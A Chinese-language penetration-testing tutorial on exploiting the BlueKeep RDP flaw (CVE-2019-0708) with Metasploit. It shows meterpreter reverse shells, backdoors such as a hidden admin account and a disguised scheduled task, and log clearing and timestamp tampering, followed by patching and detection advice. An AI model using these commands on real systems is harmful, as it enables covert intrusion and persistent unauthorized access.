从蓝屏到控制:CVE-2019-0708 RDP漏洞深度复现与权限维持实战
1. 漏洞背景与影响范围
CVE-2019-0708这个漏洞在安全圈里有个更吓人的名字叫"BlueKeep",因为它能让目标系统直接蓝屏。我第一次在实战中遇到这个漏洞时,发现它的破坏力远超想象——不需要用户点击任何链接或文件,只要目标开着3389端口,攻击者就能远程执行任意代码。
这个漏洞影响的范围主要集中在老版本Windows系统:
- Windows 7(包括所有SP版本)
- Windows Server 2008 R2
- Windows Server 2008
- 甚至包括已经停止支持的Windows XP/2003
实测中发现一个有趣现象:同一内网中,未打补丁的Win7系统在开机15分钟内就会被自动化攻击工具扫描到。有次我在客户现场做渗透测试,刚把测试机接入网络,还没开始操作就发现机器已经蓝屏了——原来是被其他攻击者抢先利用了。
2. 实验环境搭建要点
搭建测试环境时我踩过不少坑,这里分享几个关键点。靶机建议使用Windows 7 SP1原版镜像,千万别用Ghost版,否则可能出现奇怪的兼容性问题。Kali这边需要特别注意Metasploit框架的版本,建议用2020年之后的版本,老版本对漏洞利用支持不完善。
网络配置上有两个易错点:
- 一定要关闭Windows防火墙(包括高级安全防火墙)
- 确保两台机器能互相ping通
- 在Win7的"系统属性-远程"设置里,不仅要开启远程桌面,还要勾选"允许运行任意版本远程桌面的计算机连接"
有次我折腾了半天漏洞利用不成功,最后发现是虚拟机网卡配成了NAT模式。改成桥接模式后立即就能连通了,这个细节新手特别容易忽略。
3. 漏洞探测与验证技巧
在Metasploit里搜索0708会看到四个模块,编号0是检测模块。我习惯先用这个做初步筛查:
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep set RHOSTS 192.168.1.100 run这里有个实用技巧:如果返回"VULNERABLE",不代表100%能利用成功。我遇到过系统显示存在漏洞但实际攻击失败的情况,后来发现是内存布局问题。这时候可以尝试换用不同攻击模块(编号1-3),每个模块对应不同的内存操作方式。
检测时如果看到"UNKNOWN"状态,可能是网络问题。建议先用nc测试下端口:
nc -zv 192.168.1.100 33894. 攻击过程全解析
真正发起攻击时,编号1的模块(exploit/windows/rdp/cve_2019_0708_bluekeep_rce)成功率最高。设置参数时要注意:
set target 5 # 对应Win7 SP1 x64 set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.101这里有个坑:目标系统重启后原来的session会失效。我的解决方案是:
- 先用
check命令确认漏洞存在 - 执行攻击使目标蓝屏
- 目标重启后立即重新发起攻击
- 使用persistence模块建立持久化后门
实测发现,从蓝屏到成功getshell平均需要3-5分钟。期间如果遇到session意外断开,可以尝试调整RetryCount和RetryWait参数。
5. 权限维持的三种实战方法
拿到meterpreter会话后,我常用的权限维持方法有:
方法一:创建隐藏管理员账户
shell net user backdoor P@ssw0rd /add net localgroup administrators backdoor /add reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v backdoor /t REG_DWORD /d 0 /f方法二:开启远程桌面服务
run post/windows/manage/enable_rdp portfwd add -l 3389 -p 3389 -r 192.168.1.100方法三:安装计划任务
schtasks /create /tn "WindowsUpdate" /tr "cmd.exe /c start calc.exe" /sc minute /mo 1特别提醒:在真实环境中,这些操作都会产生明显的日志记录。我通常会先用clearev命令清除安全日志,再用timestomp修改文件时间属性。
6. 防御方案与检测手段
给系统打补丁是最直接的解决方案,但很多老旧系统确实无法更新。我总结了几种替代方案:
禁用远程桌面服务(慎用,可能影响业务)
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" -Value 1配置网络级认证(NLA)
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name "UserAuthentication" -Value 1使用防火墙限制3389端口访问
New-NetFirewallRule -DisplayName "Block RDP" -Direction Inbound -LocalPort 3389 -Protocol TCP -Action Block
检测方面,可以监控系统日志中的事件ID 104和105,它们分别对应RDP连接成功和失败。有次我通过日志发现某台服务器每小时都有数十次来自不同IP的RDP尝试,最终抓到了一个僵尸网络扫描活动。
7. 实战中的经验教训
去年在某次红队行动中,我原本计划用这个漏洞快速突破边界,结果连续失败了十几次。后来发现原因是目标网络部署了TCP窗口缩放限制,导致攻击载荷传输不完整。解决方案是调整ReverseConnectRetries和PayloadTimeout参数:
set ReverseConnectRetries 10 set PayloadTimeout 30另一个常见问题是内存不足导致崩溃。对于只有2GB内存的虚拟机,建议先关闭所有非必要进程,或者使用更小的payload:
set payload windows/meterpreter/reverse_tcp最后提醒:在测试环境中可以随意尝试,但真实环境中一定要获得书面授权。有同行因为未授权测试这个漏洞,导致客户生产系统崩溃,最后承担了法律责任。技术是把双刃剑,用对地方才能创造价值。
